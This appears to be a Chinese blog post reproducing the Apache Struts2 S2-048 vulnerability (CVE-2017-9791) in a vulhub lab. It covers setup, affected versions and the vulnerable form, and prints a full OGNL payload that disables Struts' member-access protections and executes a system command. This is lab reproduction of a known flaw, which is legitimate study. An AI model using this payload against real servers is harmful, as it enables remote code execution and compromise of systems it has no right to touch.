CVE-2017-9791 S2-048复现

0X00-引言


钢铁内涵夜里我看学痞哦阿国,怀着冷却的心窝飘远方

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


影响版本: 2.0.0 - 2.3.32

Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞,进而导致任意代码执行。

这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8080/showcase/即可查看到struts2的测试页面。

访问Integration/Struts 1 Integration

触发OGNL表达式的位置是Gangster Name这个表单。

输入${233*233}即可查看执行结果(剩下两个表单随意填写)

0X03-漏洞复现


http://192.168.234.128:8080/integration/editGangster.action

CVE-2017-9791 S2-048复现

01-任意命令执行
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

CVE-2017-9791 S2-048复现

0X04-漏洞分析


0X05-工具利用


没找到

0X06-查看日志


docker ps #查看容器ID
docker exec -it ID /bin/bash #进入
cd logs #进入日志目录
cat localhost_access_log.2021-12-02.txt #查看日志
exit #退出容器

CVE-2017-9791 S2-048复现

0X07-参考


S2-048 动态分析

S2-048 远程代码执行漏洞

上一篇:JAVA之旅(十)——异常的概述,Try-Catch,异常声明Throws,多异常处理,自定义异常,Throw和Throws的区别


下一篇:JAVA之旅(十三)——线程的安全性,synchronized关键字,多线程同步代码块,同步函数,同步函数的锁是this